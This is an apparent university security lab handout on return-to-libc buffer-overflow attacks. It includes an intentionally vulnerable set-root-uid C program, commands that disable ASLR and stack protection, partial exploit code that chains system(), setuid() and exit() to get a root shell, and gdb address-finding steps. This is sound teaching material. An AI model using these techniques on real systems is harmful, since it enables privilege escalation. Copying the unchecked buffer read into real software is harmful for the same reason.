| Figure 1: Entering and Leaving foo() |
The learning objective of this lab is for students to gain the first-hand experience on an interesting variant of buffer-overflow attack; this attack can bypass an existing protection scheme currently implemented in major Linux operating systems. A common way to exploit a buffer-overflow vulnerability is to overflow the buffer with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode that is stored in the stack. To prevent these types of attacks, some operating systems (for example Fedora) allow system administrators to make stacks non-executable; therefore, jumping to the shellcode will cause the program to fail.
Unfortunately, the above protection scheme is not fool-proof; there exists a variant of buffer-overflow attack called the return-to-libc attack, which does not need an executable stack; it does not even use shell code. Instead, it causes the vulnerable program to jump to some existing code, such as the system() function in the libc library, which is already loaded into the memory.
In this lab, students are given a program with a buffer-overflow vulnerability; their task is to develop a return-to-libc attack to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in Ubuntu to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.
You can execute the lab tasks using the preconfigured Ubuntu machine. 1Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:
$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
Fedora linux implements a protection mechanism called ExecShield by default, but Ubuntu systems do not have this protection by default. ExecShield essentially disallows executing any code that is stored in the stack. As a result, buffer-overflow attacks that have the exploit code in the stack will not work. To disable ExecShield in Fedora, you may use the following command.
$ su root Password: (enter root password) # sysctl -w kernel.exec-shield=0
Because return-to-libc attacks should work in presence of this protection, you need not disable this feature if you are using a Fedora machine.
Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool” a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines contains a zsh installation. If you are using other linux systems that do not contain zsh by default, you have to install zsh for doing the lab. For example, in Fedora linux systems you may use the following procedure to install zsh
$ su
Password: (enter root password)
# wget ftp://rpmfind.net/linux/fedora/(continue on the next line)
core/4/i386/os/Fedora/RPMS/zsh-4.2.1-2.i386.rpm
# rpm -ivh zsh-4.2.1-2.i386.rpm
The following instructions describe how to link the zsh program to /bin/sh.
# cd /bin # rm sh # ln -s /bin/zsh /bin/sh
Furthermore, the GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are comiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:
gcc -fno-stack-protector example.c
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:
$ su root
Password (enter root password)
# gcc -fno-stack-protector -o retlib retlib.c
# chmod 4755 retlib
# exit
The above program has a buffer overflow vulnerability. It first reads an input of size 40 bytes from a file called “badfile” into a buffer of size 12, causing the overflow. The function fread() does not check boundaries, so buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.
Create the badfile. You may use the following framework to create one.
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = some address ; // "/bin/sh"
*(long *) &buf[Y] = some address ; // system()
*(long *) &buf[Z] = some address ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
You need to figure out the values for those addresses, as well as to find out where to store those addresses. If you incorrectly calculate the locations, your attack might not work.
After you finish the above program, compile and run it; this will generate the contents for “badfile”. Run the vulnerable program retlib. If your exploit is implemented correctly, when the function bof returns, it will return to the system() libc function, and execute system("/bin/sh"). If the vulnerable program is running with the root privilege, you can get the root shell at this point.
It should be noted that the exit() function is not very necessary for this attack; however, without this function, when system() returns, the program might crash, causing suspitions.
$ gcc -o exploit_1 exploit_1.c $./exploit_1 // create the badfile $./retlib // launch the attack by running the vulnerable program # <---- You've got a root shell!
Now, we let /bin/sh point to /bin/bash, and run the same attack developed in the previous task. Can you get a shell? Is the shell the root shell? What has happened? It appears that there is some protection mechanism in bash that makes the attack unsuccessful. Actually, bash automatically downgrade its privilege if it is executed in Set-UID root context; this way, even if you can invoke bash, you will not gain the root privilege.
$ su root
Password: (enter root password)
# cd /bin
# rm sh
# ln -s bash sh // link /bin/sh to /bin/bash
# exit
$./retlib // launch the attack by running the vulnerable program
However, there are ways to get around this protection scheme. Although /bin/bash has restriction on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the current Set-UID process into a real root process, before invoking /bin/bash, you can bypass that restriction of bash. The setuid(0) system call can help you achieve that. Therefore, you need to first invoke setuid(0), and then invoke system("/bin/sh"); all of these have to be done using the return-to-libc mechanism. The incomplete exploit code is given in the following:
/* exploit_2.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for W, X, Y, Z */
/* You need to decide the addresses and
the values for W, X, Y, Z. The order of the following
four statements does not imply the order of W, X, Y, Z. */
*(long *) &buf[W] = some address ; // system()
*(long *) &buf[X] = some address ; // address of "/bin/sh"
*(long *) &buf[Y] = some address ; // setuid()
*(long *) &buf[Z] = 0; // parameter for setuid
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
Now, we turn on the Ubuntu’s address randomization and Stack Smash Protection. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization and stack smash protection make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
$ su root
Password (enter root password)
# gcc -o retlib retlib.c
# chmod 4755 retlib
# exit
To find out the address of any libc function, you can use the following gdb commands (a.out is an arbitrary program):
$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0x9b4550 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x9a9b70 <exit>
From the above gdb commands, we can find out that the address for the system() function is 0x9b4550, and the address for the exit() function is 0x9a9b70. The actual addresses in your system might be different from these numbers.
One of the challenge in this lab is to put the string "/bin/sh"
into the memory, and get its address. This can be achieved using
environment variables.
When a C program is executed, it inherits all the environment variables from
the shell that executes it. The environment variable SHELL points
directly to /bin/bash and is needed by other programs, so we introduce
a new shell variable MYSHELL and make it point to zsh
$ export MYSHELL=/bin/sh
We will use the address of this variable as an argument to system() call. The location of this variable in the memory can be found out easily using the following program:
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
If the address randomization is turned off, you will find out that the same address is printed out. However, when you run the vulnerabile program retlib, the address of the environment variable might not be exactly the same as the one that you get by running the above program; such an address can even change when you change the name of your program (the number of characters in the file name makes difference). The good news is, the address of the shell will be quite close to what you print out using the above program. Therefore, you might need to try a few times to succeed.
To know how to conduct the return-to-libc attack, it is essential to understand how the stack works. We use a small C program to understand the effects of a function invocation on the stack.
/* foobar.c */
#include<stdio.h>
void foo(int x)
{
printf("Hello world: %d\n", x);
}
int main()
{
foo(1);
return 0;
}
We can use "gcc -S foobar.c" to compile this program to the assembly code. The resulting file foobar.s will look like the following:
......
8 foo:
9 pushl %ebp
10 movl %esp, %ebp
11 subl $8, %esp
12 movl 8(%ebp), %eax
13 movl %eax, 4(%esp)
14 movl $.LC0, (%esp) : string "Hello world: %d\n"
15 call printf
16 leave
17 ret
......
21 main:
22 leal 4(%esp), %ecx
23 andl $-16, %esp
24 pushl -4(%ecx)
25 pushl %ebp
26 movl %esp, %ebp
27 pushl %ecx
28 subl $4, %esp
29 movl $1, (%esp)
30 call foo
31 movl $0, %eax
32 addl $4, %esp
33 popl %ecx
34 popl %ebp
35 leal -4(%ecx), %esp
36 ret
Let us concentrate on the stack while calling foo(). We can ignore the stack before that. Please note that line numbers instead of instruction addresses are used in this explanation.
Figure 1: Entering and Leaving foo()
Now the control has passed to the function foo(). Let us see what happens to the stack when the function returns.
mov %ebp, %esp
pop %ebp
The first statement release the stack space allocated for the function;
the second statement recover the previous frame pointer.
The current stack is depicted in Figure 1(e).This document was translated from LATEX by HEVEA.